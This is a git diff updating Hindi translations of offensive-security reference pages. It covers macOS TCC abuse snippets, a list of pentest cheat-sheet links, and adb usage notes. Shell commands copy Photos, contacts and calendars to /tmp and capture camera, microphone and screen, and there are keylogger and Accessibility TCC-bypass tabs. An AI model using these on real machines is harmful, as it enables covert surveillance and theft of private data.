`/tmp/photos` में कॉपी करें। +`$HOME/Pictures/Photos Library.photoslibrary` को `/tmp/photos` में कॉपी करें। ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` @@ -219,7 +218,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" {% tabs %} {% tab title="ObjetiveC" %} -`$HOME/Library/Application Support/AddressBook` की प्रतिलिपि को `/tmp/contacts` में कॉपी करें। +कॉपी करें `$HOME/Library/Application Support/AddressBook` को `/tmp/contacts` में। ```objectivec #include #include @@ -268,7 +267,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" {% tabs %} {% tab title="ObjectiveC" %} -`$HOME/Library/Calendars` की प्रतिलिपि को `/tmp/calendars` में कॉपी करें। +कॉपी करें `$HOME/Library/Calendars` को `/tmp/calendars` में। ```objectivec #include #include @@ -395,9 +394,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="ObjectiveC - जांच" %} -कैमरे तक पहुंच की जांच करें। -{% endtab %} +{% tab title="ObjectiveC - Check" %} +जांचें कि क्या प्रोग्राम के पास कैमरे तक पहुंच है। ```objectivec #import #import @@ -429,9 +427,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="शैल" %} -कैमरे के साथ एक फोटो लें -{% endtab %} +{% tab title="Shell" %} +कैमरे से एक फोटो लें ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` @@ -445,7 +442,7 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg {% tabs %} {% tab title="ObjetiveC - रिकॉर्ड" %} -5 सेकंड की ऑडियो रिकॉर्ड करें और इसे `/tmp/recording.m4a` में स्टोर करें +5 सेकंड का ऑडियो रिकॉर्ड करें और इसे `/tmp/recording.m4a` में स्टोर करें ```objectivec #import #import @@ -544,8 +541,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="ObjectiveC - जांच" %} -मिक्रोफोन तक पहुंच की जांच करें कि क्या ऐप्लिकेशन का उपयोग है। +{% tab title="ObjectiveC - Check" %} +ऐप के पास माइक्रोफोन तक पहुंच है या नहीं, यह जांचें। ```objectivec #import #import @@ -575,9 +572,8 @@ static void telegram(int argc, const char **argv) { ``` {% endtab %} -{% tab title="शैल" %} -5 सेकंड की ऑडियो रिकॉर्ड करें और इसे `/tmp/recording.wav` में स्टोर करें। -{% endtab %} +{% tab title="Shell" %} +5 सेकंड का ऑडियो रिकॉर्ड करें और इसे `/tmp/recording.wav` में स्टोर करें ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" @@ -590,11 +586,11 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav ### स्थान {% hint style="success" %} -किसी ऐप को स्थान प्राप्त करने के लिए, **स्थान सेवाएं** (गोपनीयता और सुरक्षा से) **सक्षम होनी चाहिए,** अगर नहीं है तो यह उसे पहुंचाने में सक्षम नहीं होगा। +किसी ऐप को स्थान प्राप्त करने के लिए, **स्थान सेवाएँ** (गोपनीयता और सुरक्षा से) **सक्रिय होनी चाहिए,** अन्यथा यह इसे एक्सेस नहीं कर पाएगा। {% endhint %} * **अधिकार**: `com.apple.security.personal-information.location` -* **TCC**: `/var/db/locationd/clients.plist` में प्रदान किया गया है +* **TCC**: `/var/db/locationd/clients.plist` में दिया गया {% tabs %} {% tab title="ObjectiveC" %} @@ -648,8 +644,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -स्थान तक पहुंचें -{% endtab %} +स्थान तक पहुँच प्राप्त करें ``` ??? ``` @@ -663,7 +658,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% tabs %} {% tab title="ObjectiveC" %} -`/tmp/screen.mov` में मुख्य स्क्रीन को 5 सेकंड के लिए रिकॉर्ड करें +मुख्य स्क्रीन को 5 सेकंड के लिए `/tmp/screen.mov` में रिकॉर्ड करें ```objectivec #import #import @@ -719,20 +714,24 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt ``` {% endtab %} -{% टैब शीर्षक = "शैल" %} -5 सेकंड के लिए मुख्य स्क्रीन को रिकॉर्ड करें +{% tab title="Shell" %} +मुख्य स्क्रीन को 5 सेकंड के लिए रिकॉर्ड करें +{% endtab %} ```bash screencapture -V 5 /tmp/screen.mov ``` {% endtab %} {% endtabs %} -### पहुंचनीयता +### पहुँच * **अधिकार**: कोई नहीं * **TCC**: `kTCCServiceAccessibility` -फाइंडर को कंट्रोल करने के लिए TCC विशेषाधिकार का उपयोग करें और TCC को इस तरीके से अनदेखा करें। +TCC विशेषाधिकार का उपयोग करें ताकि Finder के नियंत्रण को स्वीकार किया जा सके, एंटर दबाकर और इस तरह TCC को बायपास किया जा सके + +{% tabs %} +{% tab title="TCC स्वीकार करें" %} ```objectivec #import #import @@ -786,7 +785,7 @@ return 0; {% endtab %} {% tab title="Keylogger" %} -दबाए गए कुंजी को **`/tmp/keystrokes.txt`** में स्टोर करें। +दबाए गए कुंजियों को **`/tmp/keystrokes.txt`** में स्टोर करें ```objectivec #import #import @@ -894,19 +893,20 @@ return 0; {% endtabs %} {% hint style="danger" %} -**पहुंचने की अनुमति एक बहुत शक्तिशाली अनुमति है**, आप इसे अन्य तरीकों में दुरुपयोग कर सकते हैं, उदाहरण के लिए आप इससे केवल उसे बुलाने की आवश्यकता न होने पर भी **कीस्ट्रोक्स हमला** कर सकते हैं। +**एक्सेसिबिलिटी एक बहुत शक्तिशाली अनुमति है**, आप इसे अन्य तरीकों से दुरुपयोग कर सकते हैं, उदाहरण के लिए आप **कीस्ट्रोक्स अटैक** केवल इससे कर सकते हैं बिना सिस्टम इवेंट्स को कॉल किए। {% endhint %} +{% hint style="success" %} +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)! +HackTricks का समर्थन करें -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PRs सबमिट करके। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।
+{% endhint %} diff --git a/misc/references.md b/misc/references.md index 6dd24be40..fe163a377 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,13 +1,77 @@ +{% hint style="success" %} +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)! +HackTricks का समर्थन करें -HackTricks का समर्थन करने के अन्य तरीके: - -* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
+{% endhint %} + + +{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} + +{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} + +{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} + +{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} + +{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} + +{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} + +{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} + +{% embed url="https://anhtai.me/oscp-fun-guide/" %} + +{% embed url="https://www.thehacker.recipes/" %} + +{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} + +{% embed url="https://gtfobins.github.io/" %} + +{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} + +{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} + +{% embed url="https://hideandsec.sh/" %} + +{% embed url="https://cheatsheet.haax.fr/" %} + +{% embed url="https://infosecwriteups.com/" %} + +{% embed url="https://www.exploit-db.com/" %} + +{% embed url="https://wadcoms.github.io/" %} + +{% embed url="https://lolbas-project.github.io" %} + +{% embed url="https://pentestbook.six2dez.com/" %} + +{% embed url="https://www.hackingarticles.in/" %} + +{% embed url="https://pentestlab.blog/" %} + +{% embed url="https://ippsec.rocks/" %} + + +{% hint style="success" %} +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks का समर्थन करें + +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। + +
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index 795c00f8d..3bf8c1919 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,19 +1,20 @@ +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -दूसरे तरीके HackTricks का समर्थन करने के लिए: - -* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें। -* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Adb सामान्यत: में स्थित होता है:** +**Adb आमतौर पर स्थित होता है:** ```bash #Windows C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe @@ -21,31 +22,31 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe #MacOS /Users//Library/Android/sdk/platform-tools/adb ``` -**जानकारी प्राप्त की गई है:** [**http://adbshell.com/**](http://adbshell.com) +**जानकारी प्राप्त की गई:** [**http://adbshell.com/**](http://adbshell.com) # कनेक्शन ``` adb devices ``` -यह जुड़े हुए उपकरणों की सूची बनाएगा; यदि "_**अनधिकृत**_" दिखाई देता है, तो इसका मतलब है कि आपको अपने **मोबाइल** को **अनब्लॉक** करना होगा और **कनेक्शन** को **स्वीकार** करना होगा। +यह जुड़े हुए उपकरणों की सूची बनाएगा; यदि "_**अनधिकृत**_" दिखाई देता है, तो इसका मतलब है कि आपको अपने **मोबाइल** को **अनब्लॉक** करना होगा और कनेक्शन को **स्वीकृत** करना होगा। -यह उपकरण को सूचित करता है कि इसे पोर्ट 5555 में adb सर्वर शुरू करना है: +यह उपकरण को यह संकेत देता है कि इसे पोर्ट 5555 में adb सर्वर शुरू करना है: ``` adb tcpip 5555 ``` -किसी IP और पोर्ट से कनेक्ट करें: +उस IP और उस Port से कनेक्ट करें: ``` adb connect : ``` -यदि आपको एक त्रुटि मिलती है जैसे निम्नलिखित वर्चुअल एंड्रॉइड सॉफ्टवेयर (जैसे Genymotion) में: +यदि आपको वर्चुअल एंड्रॉइड सॉफ़्टवेयर (जैसे Genymotion) में निम्नलिखित त्रुटि मिलती है: ``` adb server version (41) doesn't match this client (36); killing... ``` -यह इसलिए है क्योंकि आप एक विभिन्न संस्करण के ADB सर्वर से कनेक्ट करने का प्रयास कर रहे हैं। बस सॉफ़्टवेयर द्वारा उपयोग किए जा रहे adb बाइनरी को खोजने का प्रयास करें (जाएं `C:\Program Files\Genymobile\Genymotion` और adb.exe खोजें) +यह इसलिए है क्योंकि आप एक अलग संस्करण के ADB सर्वर से कनेक्ट करने की कोशिश कर रहे हैं। बस उस adb बाइनरी को खोजने की कोशिश करें जिसका सॉफ़्टवेयर उपयोग कर रहा है (जाएँ `C:\Program Files\Genymobile\Genymotion` और adb.exe के लिए खोजें) -## कई डिवाइस +## कई उपकरण -जब भी आपके मशीन से **कई डिवाइस कनेक्ट** होते हैं तो आपको उसमें से किसमें adb कमांड चलाना है, उसे **निर्दिष्ट करना होगा**। +जब भी आप **अपने मशीन से जुड़े कई उपकरण** पाते हैं, तो आपको यह **निर्धारित करना होगा कि आप adb कमांड किस पर चलाना चाहते हैं।** ```bash adb devices List of devices attached @@ -58,18 +59,18 @@ adb -s 127.0.0.1:5555 shell x86_64:/ # whoami root ``` -## पोर्ट टनलिंग +## Port Tunneling -यदि **adb** **पोर्ट** केवल एंड्रॉयड डिवाइस में **localhost** से **पहुंचने योग्य** है लेकिन **आपके पास SSH के माध्यम से पहुंच है**, तो आप **पोर्ट 5555 को फॉरवर्ड** कर सकते हैं और adb के माध्यम से कनेक्ट कर सकते हैं: +यदि **adb** **port** केवल **localhost** से **सुलभ** है एंड्रॉइड डिवाइस में लेकिन **आपके पास SSH के माध्यम से पहुंच है**, तो आप **port 5555 को फॉरवर्ड** कर सकते हैं और adb के माध्यम से कनेक्ट कर सकते हैं: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` # पैकेट प्रबंधक -## स्थापित/अस्थापित +## स्थापित करें/अनइंस्टॉल करें -### adb install \[विकल्प] \<पथ> +### adb install \[option] \ ```bash adb install test.apk @@ -85,15 +86,15 @@ adb install -d test.apk # allow version code downgrade adb install -p test.apk # partial application install ``` -### adb uninstall \[विकल्प] \<पैकेज> +### adb uninstall \[options] \ ```bash adb uninstall com.test.app adb uninstall -k com.test.app Keep the data and cache directories around after package removal. ``` -## पैकेज +## Packages -उन सभी पैकेजों को प्रिंट करता है, वैकल्पिक रूप से केवल उन्हें जिनका पैकेज नाम \ में दिया गया पाठ हो। +सभी पैकेज प्रिंट करता है, वैकल्पिक रूप से केवल उन पैकेजों को जिनका पैकेज नाम \ में पाठ को शामिल करता है। ### adb shell pm list packages \[options] \ ```bash @@ -117,13 +118,13 @@ adb shell pm list packages --user #The user space to quer ``` ### adb shell pm path \ -दिए गए पैकेज के APK का पथ प्रिंट करें। +दिए गए APK का पथ प्रिंट करें। ```bash adb shell pm path com.android.phone ``` ### adb shell pm clear \ -एक पैकेज के साथ जुड़ी सभी डेटा को हटा देता है। +किसी पैकेज से संबंधित सभी डेटा को हटा दें। ```bash adb shell pm clear com.test.abc ``` @@ -131,27 +132,27 @@ adb shell pm clear com.test.abc ### adb pull \ \[local] -एक निर्दिष्ट फ़ाइल को एम्युलेटर/डिवाइस से अपने कंप्यूटर पर डाउनलोड करें। +एक निर्दिष्ट फ़ाइल को एक एमुलेटर/डिवाइस से आपके कंप्यूटर पर डाउनलोड करें। ```bash adb pull /sdcard/demo.mp4 ./ ``` ### adb push \ \ -अपने कंप्यूटर से एक निर्दिष्ट फ़ाइल को एम्युलेटर/डिवाइस पर अपलोड करें। +अपने कंप्यूटर से एक निर्दिष्ट फ़ाइल को एक एमुलेटर/डिवाइस पर अपलोड करें। ```bash adb push test.apk /sdcard ``` -# स्क्रीनकैप्चर/स्क्रीनरिकॉर्ड +# Screencapture/Screenrecord -### adb shell screencap \<फ़ाइलनाम> +### adb shell screencap \ -एक डिवाइस प्रदर्शन का स्क्रीनशॉट लेना। +डिवाइस डिस्प्ले का स्क्रीनशॉट लेना। ```bash adb shell screencap /sdcard/screen.png ``` ### adb shell screenrecord \[options] \ -उन उपकरणों की डिस्प्ले रिकॉर्ड करें जो Android 4.4 (API स्तर 19) और उससे ऊपर चल रहे हैं। +एंड्रॉइड 4.4 (API स्तर 19) और उच्चतर चलाने वाले उपकरणों की डिस्प्ले रिकॉर्ड करना। ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -160,27 +161,27 @@ adb shell screenrecord --time-limit